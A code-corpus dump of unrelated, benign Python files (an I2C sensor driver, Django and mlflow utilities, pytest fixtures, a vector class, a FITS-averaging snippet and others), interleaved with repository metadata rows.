self.bus = smbus.SMBus(bus or self.DEFAULT_BUS)
self._name = name
def read_byte(self, reg):
return self.bus.read_byte_data(self._address, reg)
def read_16(self, reg):
data = 0
data = self.bus.read_byte_data(self._address, reg)<<8
data |= self.bus.read_byte(self._address)
return data
def read_32u(self, reg):
data = 0
data = self.bus.read_byte_data(self._address, reg)<<24
data |= self.bus.read_byte(self._address)<<16
data |= self.bus.read_byte(self._address)<<8
data |= self.bus.read_byte(self._address)
return data
def read_32(self, reg):
data = 0
data = self.bus.read_byte_data(self._address, reg)<<24
data |= self.bus.read_byte(self._address)<<16
data |= self.bus.read_byte(self._address)<<8
data |= self.bus.read_byte(self._address)
# python requires that we do it old school?
if((data >> 31) & 0x01):
return -((~data & 0xFFFFFFFF) + 1)
else:
return data
def write_byte(self, reg, val):
self.bus.write_byte_data(self._address, reg, val)
def write_16(self, reg, val):
self.bus.write_byte_data(self._address, reg, (val>>8) & 0xFF)
self.bus.write_byte_data(self._address, reg+1,(val) & 0xFF)
def write_32(self, reg, val):
self.bus.write_byte_data(self._address, reg, ((val>>24) & 0xFF))
self.bus.write_byte_data(self._address, reg+1, (val>>16) & 0xFF)
self.bus.write_byte_data(self._address, reg+2, (val>>8) & 0xFF)
self.bus.write_byte_data(self._address, reg+3,(val) & 0xFF)
def get_name(self):
return self._name
def read_device_data(self):
return self.read_byte(0)
def read_firmware_version(self):
return self.read_byte(1)
#address change regs here
def read_interrrupt_control(self):
return self.read_byte(0x04)
def write_interrupt_control(self, val):
self.write_byte(0x04, val)
def read_led(self):
return self.read_byte(0x05)
def write_led(self, val):
self.write_byte(0x05, val)
def read_active_hibernate(self):
return self.read_byte(0x06)
def write_active_hibernate(self, val):
self.write_byte(0x06, val) | 30.950617 | 72 | 0.613083 | 358 | 2,507 | 4.053073 | 0.167598 | 0.121296 | 0.083391 | 0.113715 | 0.627843 | 0.510682 | 0.510682 | 0.510682 | 0.487939 | 0.461751 | 0 | 0.036876 | 0.26446 | 2,507 | 81 | 73 | 30.950617 | 0.75 | 0.026326 | 0 | 0.254237 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02542 | 0 | 0 | 1 | 0.288136 | false | 0 | 0.016949 | 0.118644 | 0.525424 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
2e69e33a61b81c558f9fa525e6c07b5e5e1425ef | 574 | py | Python | prototypes/test-examples/pytest/test_parameterize_bootstrap.py | mikej888/recipy-test | 6db030fb4013baf57ec7fb78c287f9f0fbbc28a0 | [
"Apache-2.0"
] | null | null | null | prototypes/test-examples/pytest/test_parameterize_bootstrap.py | mikej888/recipy-test | 6db030fb4013baf57ec7fb78c287f9f0fbbc28a0 | [
"Apache-2.0"
] | null | null | null | prototypes/test-examples/pytest/test_parameterize_bootstrap.py | mikej888/recipy-test | 6db030fb4013baf57ec7fb78c287f9f0fbbc28a0 | [
"Apache-2.0"
] | 2 | 2016-08-17T12:17:56.000Z | 2021-12-17T09:58:22.000Z | import os
import pytest
@pytest.fixture(scope="module")
def some_context():
return [1,2,3,4,5]
def get_scripts():
with open(config_file) as f:
scripts = [line.strip('\n') for line in f.readlines()]
return scripts
config_file = os.environ["RECIPY_TEST_CASES_CONFIG"]
def case_name(value):
return "script_" + str(value)
@pytest.mark.parametrize("script", get_scripts(), ids=case_name)
def test_script(some_context, script):
print(some_context)
if script == "sklearn":
pytest.fail(script, " failed its test")
else:
pass
| 22.96 | 64 | 0.675958 | 82 | 574 | 4.560976 | 0.597561 | 0.088235 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01073 | 0.188153 | 574 | 24 | 65 | 23.916667 | 0.791845 | 0 | 0 | 0 | 0 | 0 | 0.118467 | 0.041812 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0.052632 | 0.105263 | 0.105263 | 0.473684 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 3 |
2e6c9f854f514e9716b7ba0dd3593165017fce65 | 280 | py | Python | paper_submission/debug/chrom_expression_by_tissue.py | jfear/larval_gonad | 624a71741864b74e0372f89bdcca578e5cca3722 | [
"MIT"
] | 1 | 2019-09-13T13:24:18.000Z | 2019-09-13T13:24:18.000Z | paper_submission/debug/chrom_expression_by_tissue.py | jfear/larval_gonad | 624a71741864b74e0372f89bdcca578e5cca3722 | [
"MIT"
] | 65 | 2019-07-24T16:23:08.000Z | 2020-03-06T22:18:47.000Z | paper_submission/debug/chrom_expression_by_tissue.py | jfear/larval_gonad | 624a71741864b74e0372f89bdcca578e5cca3722 | [
"MIT"
] | 1 | 2021-06-02T19:09:35.000Z | 2021-06-02T19:09:35.000Z | import builtins
from larval_gonad.mock import MockSnake
from larval_gonad.config import read_config
builtins.snakemake = MockSnake(
input="../../output/paper_submission/fig1_data_avg_tpm_per_chrom.feather",
params=dict(colors=read_config("../../config/colors.yaml")),
)
| 28 | 78 | 0.778571 | 37 | 280 | 5.621622 | 0.675676 | 0.096154 | 0.144231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003937 | 0.092857 | 280 | 9 | 79 | 31.111111 | 0.814961 | 0 | 0 | 0 | 0 | 0 | 0.317857 | 0.317857 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.428571 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
2e771c1ec9cc8816ff1943c4758c4e36106d4a67 | 440 | py | Python | mlflow_ext/mlflow_wrapper.py | vashineyu/mlflow_extension | 3dfe36c9cdfda2f29c3ef2ccbf95a751c6dadde5 | [
"Apache-2.0"
] | null | null | null | mlflow_ext/mlflow_wrapper.py | vashineyu/mlflow_extension | 3dfe36c9cdfda2f29c3ef2ccbf95a751c6dadde5 | [
"Apache-2.0"
] | null | null | null | mlflow_ext/mlflow_wrapper.py | vashineyu/mlflow_extension | 3dfe36c9cdfda2f29c3ef2ccbf95a751c6dadde5 | [
"Apache-2.0"
] | null | null | null | """mlflow_wrapper.py
Decorators for class/functions
"""
from .tracker import TrackMetric, TrackParam
__all__ = [
"metric",
"param",
]
def metric(*args, **kwargs):
def function_wrapper(function):
return TrackMetric(function, *args, **kwargs)
return function_wrapper
def param(*args, **kwargs):
def function_wrapper(function):
return TrackParam(function, *args, **kwargs)
return function_wrapper
| 19.130435 | 53 | 0.688636 | 47 | 440 | 6.255319 | 0.425532 | 0.136054 | 0.088435 | 0.142857 | 0.55102 | 0.55102 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0.190909 | 440 | 22 | 54 | 20 | 0.825843 | 0.109091 | 0 | 0.307692 | 0 | 0 | 0.028571 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.307692 | false | 0 | 0.076923 | 0.153846 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
2e83eb480f254310c1ea5d79c17f9c04a6c5fc95 | 127 | py | Python | datacollection/routing.py | playfulMIT/kimchi | 66802cc333770932a8c8b1a44ea5d235d916a8f1 | [
"MIT"
] | null | null | null | datacollection/routing.py | playfulMIT/kimchi | 66802cc333770932a8c8b1a44ea5d235d916a8f1 | [
"MIT"
] | 16 | 2019-12-10T19:40:27.000Z | 2022-02-10T11:51:06.000Z | datacollection/routing.py | playfulMIT/kimchi | 66802cc333770932a8c8b1a44ea5d235d916a8f1 | [
"MIT"
] | null | null | null | from django.urls import path
from . import consumers
websocket_urlpatterns = [path("ws/", consumers.DataCollectionConsumer)]
| 21.166667 | 71 | 0.795276 | 14 | 127 | 7.142857 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.110236 | 127 | 5 | 72 | 25.4 | 0.884956 | 0 | 0 | 0 | 0 | 0 | 0.023622 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
cf045db39dc893e6400d3ca1bbbfd66ec8458f5a | 654 | py | Python | greenflow/greenflow/dataframe_flow/__init__.py | t-triobox/gQuant | 6ee3ba104ce4c6f17a5755e7782298902d125563 | [
"Apache-2.0"
] | null | null | null | greenflow/greenflow/dataframe_flow/__init__.py | t-triobox/gQuant | 6ee3ba104ce4c6f17a5755e7782298902d125563 | [
"Apache-2.0"
] | null | null | null | greenflow/greenflow/dataframe_flow/__init__.py | t-triobox/gQuant | 6ee3ba104ce4c6f17a5755e7782298902d125563 | [
"Apache-2.0"
] | null | null | null | from .node import * # noqa: F401,F403
from .taskSpecSchema import * # noqa: F401,F403
from .taskGraph import * # noqa: F401,F403
from .portsSpecSchema import * # noqa: F401,F403
from .metaSpec import * # noqa: F401,F403
import sys
try:
# For python 3.8 and later
import importlib.metadata as importlib_metadata
except ImportError:
# prior to python 3.8 need to install importlib-metadata
import importlib_metadata
# load all the plugins from entry points
for entry_point in \
importlib_metadata.entry_points().get('greenflow.plugin', ()):
mod = entry_point.load()
name = entry_point.name
sys.modules[name] = mod
| 32.7 | 70 | 0.718654 | 90 | 654 | 5.144444 | 0.455556 | 0.107991 | 0.151188 | 0.194384 | 0.190065 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064394 | 0.192661 | 654 | 19 | 71 | 34.421053 | 0.8125 | 0.302752 | 0 | 0 | 0 | 0 | 0.035794 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
cf10a62bfa588f7cc575521ddb7d0ab5db20c7cd | 146 | py | Python | src/users/urls.py | MichaelNest/My-First-Show-Project | 45dda51f97ea4338200453e82f769efe2c075e40 | [
"Apache-2.0"
] | null | null | null | src/users/urls.py | MichaelNest/My-First-Show-Project | 45dda51f97ea4338200453e82f769efe2c075e40 | [
"Apache-2.0"
] | null | null | null | src/users/urls.py | MichaelNest/My-First-Show-Project | 45dda51f97ea4338200453e82f769efe2c075e40 | [
"Apache-2.0"
] | null | null | null | from django.urls import path
from .views import Signup
app_name = 'users'
urlpatterns = [
path('signup/', Signup.as_view(), name='signup')
] | 18.25 | 52 | 0.69863 | 20 | 146 | 5 | 0.65 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157534 | 146 | 8 | 53 | 18.25 | 0.813008 | 0 | 0 | 0 | 0 | 0 | 0.122449 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
cf5c77c555ecb2e02b90f5f6cbb36c241e07712b | 205 | py | Python | test_suite.py | williangl/locust_jtl_reporter | 2eeed97d3aa454223f443fb406076500dd5b2934 | [
"MIT"
] | null | null | null | test_suite.py | williangl/locust_jtl_reporter | 2eeed97d3aa454223f443fb406076500dd5b2934 | [
"MIT"
] | null | null | null | test_suite.py | williangl/locust_jtl_reporter | 2eeed97d3aa454223f443fb406076500dd5b2934 | [
"MIT"
] | null | null | null | from locust import HttpUser
from product_route import ProductLoadTest
from user_route import UserLoadTest
class WebsiteUser(HttpUser):
tasks = [
UserLoadTest,
ProductLoadTest
]
| 15.769231 | 41 | 0.731707 | 20 | 205 | 7.4 | 0.6 | 0.148649 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.234146 | 205 | 12 | 42 | 17.083333 | 0.942675 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.625 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
cf5e85c8ee7f4df53eddd407cd62cbb100762cc1 | 609 | py | Python | everbug/utils/manager.py | everhide/everbug | 72da1372510a2116e45c23da934a40dca1f4dbd5 | [
"MIT"
] | 182 | 2018-06-15T07:07:11.000Z | 2021-06-15T21:53:58.000Z | everbug/utils/manager.py | everhide/everbug | 72da1372510a2116e45c23da934a40dca1f4dbd5 | [
"MIT"
] | 7 | 2018-06-15T07:03:58.000Z | 2018-09-13T08:43:19.000Z | everbug/utils/manager.py | everhide/everbug | 72da1372510a2116e45c23da934a40dca1f4dbd5 | [
"MIT"
] | 3 | 2018-06-15T20:44:51.000Z | 2018-09-12T19:05:39.000Z | class _Manager(type):
""" Singletone for cProfile manager """
_inst = {}
def __call__(cls, *args, **kwargs):
if cls not in cls._inst:
cls._inst[cls] = super(_Manager, cls).__call__(*args, **kwargs)
return cls._inst[cls]
class ProfileManager(metaclass=_Manager):
def __init__(self):
self._profiles = list()
def clear(self):
self._profiles.clear()
def add(self, profile):
self._profiles.append(profile)
def profiles(self):
return self._profiles
@property
def count(self):
return len(self._profiles)
| 21.75 | 75 | 0.609195 | 70 | 609 | 4.957143 | 0.428571 | 0.172911 | 0.086455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.26601 | 609 | 27 | 76 | 22.555556 | 0.776286 | 0.050903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.111111 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
cf5fdc935b246205705bebdc1988c54f65a6701d | 2,025 | py | Python | tests/extern/conftest.py | deepdoctection/deepdoctection | 7e0d7396e5ef8bf8109904e09c5d4ee56cb5a036 | [
"Apache-2.0"
] | 39 | 2021-12-14T11:05:25.000Z | 2022-03-31T18:50:58.000Z | tests/extern/conftest.py | deepdoctection/deepdoctection | 7e0d7396e5ef8bf8109904e09c5d4ee56cb5a036 | [
"Apache-2.0"
] | 17 | 2022-01-04T14:32:26.000Z | 2022-03-29T14:01:36.000Z | tests/extern/conftest.py | deepdoctection/deepdoctection | 7e0d7396e5ef8bf8109904e09c5d4ee56cb5a036 | [
"Apache-2.0"
] | 4 | 2022-01-11T16:40:17.000Z | 2022-03-30T02:09:55.000Z | # -*- coding: utf-8 -*-
# File: conftest.py
# Copyright 2021 Dr. Janis Meyer. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Fixtures for extern package testing
"""
from typing import List
from pytest import fixture
from deepdoctection.utils.detection_types import JsonDict
from ..data import get_textract_response
from ..mapper.data import DatapointXfund
from .data import PDF_BYTES, PDF_BYTES_2
@fixture(name="layoutlm_input")
def fixture_layoutlm_input() -> JsonDict:
"""
Layoutlm input
"""
return DatapointXfund().get_layout_input()
@fixture(name="categories_semantics")
def fixture_categories_semantics() -> List[str]:
"""
Categories semantics
"""
return DatapointXfund().get_categories_semantics()
@fixture(name="categories_bio")
def fixture_categories_bio() -> List[str]:
"""
Categories semantics
"""
return DatapointXfund().get_categories_bio()
@fixture(name="token_class_names")
def fixture_token_class_names() -> List[str]:
"""
Categories semantics
"""
return DatapointXfund().get_token_class_names()
@fixture(name="textract_response")
def fixture_textract_response() -> JsonDict:
"""fixture textract_response"""
return get_textract_response()
@fixture(name="pdf_bytes")
def fixture_pdf_bytes() -> bytes:
"""
fixture pdf bytes
"""
return PDF_BYTES
@fixture(name="pdf_bytes_page_2")
def fixture_pdf_bytes_page_2() -> bytes:
"""
fixture pdf bytes
"""
return PDF_BYTES_2
| 24.107143 | 74 | 0.724938 | 260 | 2,025 | 5.461538 | 0.419231 | 0.056338 | 0.064789 | 0.05493 | 0.165493 | 0.165493 | 0.165493 | 0.083099 | 0 | 0 | 0 | 0.007729 | 0.169383 | 2,025 | 83 | 75 | 24.39759 | 0.836504 | 0.390617 | 0 | 0 | 0 | 0 | 0.095792 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.259259 | true | 0 | 0.222222 | 0 | 0.740741 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
cf623e082d962d40a1a6dbfc452f070c88e7054c | 491 | py | Python | hospi/admin.py | Vicky-Rathod/django-hospital-management | b553f1da64f10eae527b438dd28acaad56d2d774 | [
"MIT"
] | null | null | null | hospi/admin.py | Vicky-Rathod/django-hospital-management | b553f1da64f10eae527b438dd28acaad56d2d774 | [
"MIT"
] | 4 | 2021-05-21T01:48:19.000Z | 2022-02-10T13:01:49.000Z | hospi/admin.py | Vicky-Rathod/django-hospital-management | b553f1da64f10eae527b438dd28acaad56d2d774 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Patient,Ipd,Rooms,TreatmentAdviced,TreatmentGiven,Discharge,Procedure,Investigation,DailyRound,Opd
admin.site.register(Opd)# Register your models here.
admin.site.register(Patient)
admin.site.register(Ipd)
admin.site.register(Rooms)
admin.site.register(TreatmentAdviced)
admin.site.register(TreatmentGiven)
admin.site.register(Investigation)
admin.site.register(DailyRound)
admin.site.register(Discharge)
admin.site.register(Procedure)
| 32.733333 | 118 | 0.843177 | 62 | 491 | 6.677419 | 0.322581 | 0.217391 | 0.410628 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04888 | 491 | 14 | 119 | 35.071429 | 0.88651 | 0.052953 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
cf68f65115320cc914dad608b3c27f36cbd7b332 | 413 | py | Python | examples/required.py | klauer/apischema | 0da9b96b74dabe8704e2dcfca4502aed98500799 | [
"MIT"
] | null | null | null | examples/required.py | klauer/apischema | 0da9b96b74dabe8704e2dcfca4502aed98500799 | [
"MIT"
] | null | null | null | examples/required.py | klauer/apischema | 0da9b96b74dabe8704e2dcfca4502aed98500799 | [
"MIT"
] | null | null | null | from dataclasses import dataclass, field
from typing import Optional
from pytest import raises
from apischema import ValidationError, deserialize
from apischema.metadata import required
@dataclass
class Foo:
bar: Optional[int] = field(default=None, metadata=required)
with raises(ValidationError) as err:
deserialize(Foo, {})
assert err.value.errors == [{"loc": ["bar"], "msg": "missing property"}]
| 22.944444 | 72 | 0.755448 | 50 | 413 | 6.24 | 0.6 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.140436 | 413 | 17 | 73 | 24.294118 | 0.878873 | 0 | 0 | 0 | 0 | 0 | 0.060533 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0 | true | 0 | 0.454545 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
cf819ed4b5395493fc3886a54331635b6add69a6 | 532 | py | Python | src/prosi3d/meta/cluster.py | pzimbrod/prosi-3d | 6eaa5b9cdb7192f542417429b1775c3e61a9bc60 | [
"MIT"
] | null | null | null | src/prosi3d/meta/cluster.py | pzimbrod/prosi-3d | 6eaa5b9cdb7192f542417429b1775c3e61a9bc60 | [
"MIT"
] | 3 | 2021-11-11T07:32:01.000Z | 2021-11-23T15:42:26.000Z | src/prosi3d/meta/cluster.py | pzimbrod/prosi-3d | 6eaa5b9cdb7192f542417429b1775c3e61a9bc60 | [
"MIT"
] | null | null | null | """
Abstract Base Class for data models that conduct clustering upon the input data
"""
from abc import ABC, ABCMeta, abstractmethod
from .analysis import DataModel
class Cluster(DataModel):
"""
Keep in mind that you have to define the abstract methods inherited from DataModel
"""
""" Custom, specific methods for classifier-type models """
""" Output the number of identified clusters for the specified input data """
@abstractmethod
def _num_clusters(self):
pass
| 28 | 87 | 0.680451 | 64 | 532 | 5.625 | 0.671875 | 0.05 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25188 | 532 | 19 | 88 | 28 | 0.904523 | 0.304511 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
d855337d24fef7108d2c7f6be570fa5e4a79e014 | 684 | py | Python | sanskrit_parser/generator/test/test_list.py | avinashvarna/sanskrit_parser | 79338213128b29927fe2f06031379bb1e3864a83 | [
"MIT"
] | 54 | 2017-06-30T09:11:53.000Z | 2022-03-22T15:35:41.000Z | sanskrit_parser/generator/test/test_list.py | avinashvarna/sanskrit_parser | 79338213128b29927fe2f06031379bb1e3864a83 | [
"MIT"
] | 159 | 2017-06-30T07:04:36.000Z | 2021-06-17T17:03:43.000Z | sanskrit_parser/generator/test/test_list.py | avinashvarna/sanskrit_parser | 79338213128b29927fe2f06031379bb1e3864a83 | [
"MIT"
] | 18 | 2017-08-17T13:22:00.000Z | 2022-01-20T01:08:58.000Z | # flake8: noqa
from sanskrit_parser.generator.pratyaya import *
from sanskrit_parser.generator.dhatu import *
from sanskrit_parser.generator.pratipadika import *
from sanskrit_parser.base.sanskrit_base import SLP1, DEVANAGARI
from sanskrit_parser.generator.sutras_yaml import sutra_list
from conftest import run_test, generate_vibhakti
import pytest
import logging
from manual_list import test_list_slp1, test_list_devanagari
@pytest.mark.parametrize("tlst_d", test_list_devanagari)
def test_list_d(tlst_d):
run_test(tlst_d, sutra_list, encoding=DEVANAGARI)
@pytest.mark.parametrize("tlst", test_list_slp1)
def test_list(tlst):
run_test(tlst, sutra_list, encoding=SLP1)
| 31.090909 | 63 | 0.830409 | 99 | 684 | 5.444444 | 0.313131 | 0.089054 | 0.166976 | 0.200371 | 0.252319 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008091 | 0.096491 | 684 | 21 | 64 | 32.571429 | 0.864078 | 0.017544 | 0 | 0 | 0 | 0 | 0.014925 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.6 | 0 | 0.733333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
d86dd9f210c5df5e89d8cb021f9c722ac4523556 | 942 | py | Python | utilities/vector.py | fietensen/raytracer | 856e9dfa39d1c7fd77fd2409ce19a244af6e479c | [
"MIT"
] | null | null | null | utilities/vector.py | fietensen/raytracer | 856e9dfa39d1c7fd77fd2409ce19a244af6e479c | [
"MIT"
] | null | null | null | utilities/vector.py | fietensen/raytracer | 856e9dfa39d1c7fd77fd2409ce19a244af6e479c | [
"MIT"
] | null | null | null | import math
class Vec3:
def __init__(self, x=.0, y=.0, z=.0):
self.x = float(x)
self.y = float(y)
self.z = float(z)
def __str__(self):
return "Vector(%.4f, %.4f, %.4f)" % (self.x, self.y, self.z)
def __add__(self, vec):
return Vec3(self.x+vec.x, self.y+vec.y, self.z+vec.z)
def __sub__(self, vec):
return Vec3(self.x-vec.x, self.y-vec.y, self.z-vec.z)
def __mul__(self, num):
return Vec3(self.x*num, self.y*num, self.z*num)
def __rmul__(self, num):
return self.__mul__(num)
def __truediv__(self, num):
return Vec3(self.x/num, self.y/num, self.z/num)
def dotproduct(self, vec):
return self.x*vec.x + self.y*vec.y + self.z*vec.z
def magnitude(self):
return math.sqrt(self.x**2 + self.y**2 + self.z**2)
def normalize(self):
return self/self.magnitude()
| 26.914286 | 69 | 0.543524 | 152 | 942 | 3.157895 | 0.184211 | 0.09375 | 0.0625 | 0.125 | 0.441667 | 0.441667 | 0.441667 | 0.441667 | 0.441667 | 0.441667 | 0 | 0.020958 | 0.29087 | 942 | 34 | 70 | 27.705882 | 0.697605 | 0 | 0 | 0 | 0 | 0 | 0.026432 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.416667 | false | 0 | 0.041667 | 0.375 | 0.875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
d8791e91f3ee327e4337c89763504ef7887ad364 | 361 | py | Python | Week 1/grok/samples/1b/21.mean of sets of fits file.py | anandprabhakar0507/Assignments-Data-Driven-Astronomy-from-University-of-sydney-on-coursera- | 58fab1c413d7ad5693b1d63f14be05b0f5ec448c | [
"MIT"
] | 4 | 2021-07-02T02:57:31.000Z | 2022-02-01T17:31:14.000Z | Week 1/grok/samples/1b/21.mean of sets of fits file.py | anandprabhakar0507/Assignments-Data-Driven-Astronomy-from-University-of-sydney-on-coursera- | 58fab1c413d7ad5693b1d63f14be05b0f5ec448c | [
"MIT"
] | null | null | null | Week 1/grok/samples/1b/21.mean of sets of fits file.py | anandprabhakar0507/Assignments-Data-Driven-Astronomy-from-University-of-sydney-on-coursera- | 58fab1c413d7ad5693b1d63f14be05b0f5ec448c | [
"MIT"
] | 3 | 2021-07-12T21:54:43.000Z | 2022-02-01T17:31:42.000Z | from astropy.io import fits
import numpy as np
def mean_fits(files):
n = len(files)
if n > 0:
hdulist = fits.open(files[0])
data = hdulist[0].data
hdulist.close()
for i in range(1, n):
hdulist = fits.open(files[i])
data += hdulist[0].data
hdulist.close()
mean = data / n
